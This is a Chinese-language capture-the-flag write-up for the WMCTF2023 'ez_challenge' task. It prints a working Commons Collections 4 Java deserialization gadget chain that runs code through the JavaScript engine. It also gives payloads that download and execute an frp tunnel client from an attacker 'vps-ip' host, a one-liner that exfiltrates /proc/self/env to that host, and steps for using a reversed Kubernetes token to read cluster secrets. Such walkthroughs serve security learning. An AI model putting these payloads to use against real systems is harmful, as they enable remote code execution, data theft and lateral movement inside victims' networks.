WMCTF2023 ez_challenge WP

100

WMCTF2023 ez_challenge WP

因为和预期解的上内存马有点不一样,所以这里简单记录一下,水一篇文章。

环境中存在cc4链,由于docker环境中给的jdk11,导致我一开始以为不存在TemplatesImpl类(加上一开始直接Runtime.exec会报找不到库的错误),但是cc链是任意方法调用,于是利用ScriptEngineManager有了下面一段poc来到达任意代码执行的效果

package org.example;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.springframework.util.Base64Utils;
import org.springframework.util.ClassUtils;
import org.springframework.util.FileSystemUtils;

import javax.script.ScriptEngine;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Arrays;
import java.util.Base64;
import java.util.PriorityQueue;
import java.util.stream.Stream;

public class Main {
    public static void main(String[] args) throws IllegalAccessException, ClassNotFoundException, NoSuchFieldException, IOException, InstantiationException {
        // 初始化 Transformer
        ChainedTransformer chain = new ChainedTransformer(new ConstantTransformer(javax.script.ScriptEngineManager.class),
                new InvokerTransformer("newInstance", null, null),
                new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"js"}),
                new InvokerTransformer("eval", new Class[]{String.class},
                        new Object[]{"script"})
        );

        TransformingComparator comparator = new TransformingComparator(chain);

        // 在初始化时不带入 comparator,而是
        PriorityQueue<String> queue = new PriorityQueue<>(2);
        queue.add("1");
        queue.add("2");

        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue, comparator);

        FileOutputStream fileOutputStream = new FileOutputStream("shell.ser");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(queue);

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.ser"));
        objectInputStream.readObject();

    }
}

但是很明显,题目内网里存在一个k3s,并且flag也不在当前的pod中

截屏2023-08-28 19.27.02

但是这些服务又是在内网里的,我又不喜欢冰蝎或哥斯拉这种,遂直接使用js code上了个frp

  • 下载frpc,也下载frpc.ini

  •         String script =
                    "var url = 'http://vps-ip/frpc';\n" +
                            "var connection = new java.net.URL(url).openConnection();\n" +
                            "var inputStream = connection.getInputStream();\n" +
                            "var file = new java.io.FileOutputStream('/tmp/frpc');\n" +
                            "var buffer = java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, 1024);\n" +
                            "var bytesRead;\n" +
                            "while ((bytesRead = inputStream.read(buffer)) != -1) {\n" +
                            "    file.write(buffer, 0, bytesRead);\n" +
                            "}\n" +
                            "file.close();\n" +
                            "inputStream.close();\n";
    
  • 使用java代码给予frpc可执行权限

  •         String script = "var filePath = '/tmp/frpc';\n" +
                    "var file = new java.io.File(filePath);\n" +
                    "var permissions = java.nio.file.Files.getPosixFilePermissions(file.toPath());\n" +
                    "permissions.add(java.nio.file.attribute.PosixFilePermission.OWNER_READ);\n" +
                    "permissions.add(java.nio.file.attribute.PosixFilePermission.OWNER_WRITE);\n" +
                    "permissions.add(java.nio.file.attribute.PosixFilePermission.OWNER_EXECUTE);\n" +
                    "permissions.add(java.nio.file.attribute.PosixFilePermission.GROUP_READ);\n" +
                    "permissions.add(java.nio.file.attribute.PosixFilePermission.GROUP_WRITE);\n" +
                    "permissions.add(java.nio.file.attribute.PosixFilePermission.GROUP_EXECUTE);\n" +
                    "permissions.add(java.nio.file.attribute.PosixFilePermission.OTHERS_READ);\n" +
                    "permissions.add(java.nio.file.attribute.PosixFilePermission.OTHERS_WRITE);\n" +
                    "permissions.add(java.nio.file.attribute.PosixFilePermission.OTHERS_EXECUTE);\n" +
                    "java.nio.file.Files.setPosixFilePermissions(file.toPath(), permissions);\n";
    
  • 执行frpc

  •         ChainedTransformer chain = new ChainedTransformer(new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/tmp/frpc -c /tmp/frpc.ini"}));
    
    
  • 但此时我还不知道内网的地址,遂写了一个文件读外带回显的js

  • s=org.springframework.util.Base64Utils.encodeToString(java.nio.file.Files.readAllBytes(java.nio.file.Path.of('/proc/self/env')));url='http://vps-ip:2333?da ta=s';neworg.springframework.web.client.RestTemplate().getForEntity(new java.net.URI(url),java.lang.String.class);
    

    在vps上data解码即可得到如下数据

    PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    HOSTNAME=ezjna-58bdb7b866-8ctm7
    SSL_CERT_FILE=/etc/ssl/certs/ca-certificates.crt
    LANG=C.UTF-8
    JAVA_VERSION=11.0.18
    CHECK_SERVICE_PORT=80
    KUBERNETES_SERVICE_PORT=443
    KUBERNETES_SERVICE_PORT_HTTPS=443
    CHECK_SERVICE_HOST=10.43.177.198
    CHECK_PORT_80_TCP_PROTO=tcp
    CHECK_PORT_80_TCP_ADDR=10.43.177.198
    EZJNA_PORT_80_TCP_PORT=80
    KUBERNETES_PORT=tcp://10.43.0.1:443
    KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
    KUBERNETES_PORT_443_TCP_PROTO=tcp
    KUBERNETES_PORT_443_TCP_PORT=443
    CHECK_PORT_80_TCP=tcp://10.43.177.198:80
    KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
    CHECK_PORT_80_TCP_PORT=80
    EZJNA_SERVICE_HOST=10.43.114.18
    EZJNA_PORT_80_TCP_PROTO=tcp
    EZJNA_PORT_80_TCP_ADDR=10.43.114.18
    KUBERNETES_SERVICE_HOST=10.43.0.1
    CHECK_PORT=tcp://10.43.177.198:80
    EZJNA_PORT=tcp://10.43.114.18:80
    EZJNA_PORT_80_TCP=tcp://10.43.114.18:80
    EZJNA_SERVICE_PORT=80
    HOME=/root
    

访问CHECK_SERVICE即可发现任务提示,需要找一个key来执行命令

截屏2023-08-28 19.36.45

当然值得注意的是内网中还存在一个k8s的apiserver。尝试读取了ezjna_service的token发现权限过低。

不过注意到ez_jna.jar中存在jna调用需要的lib.so库

截屏2023-08-28 19.39.07

Lib.h文件中定义了一个getToken函数,逆向so文件得到token,jwt解码后也更加确定token正确

截屏2023-08-28 19.40.39

遂使用该token去访问apiserver的/api/v1/namespaces/default/secrets路由,其中的password经过base64解码之后即是key

截屏2023-08-28 19.42.18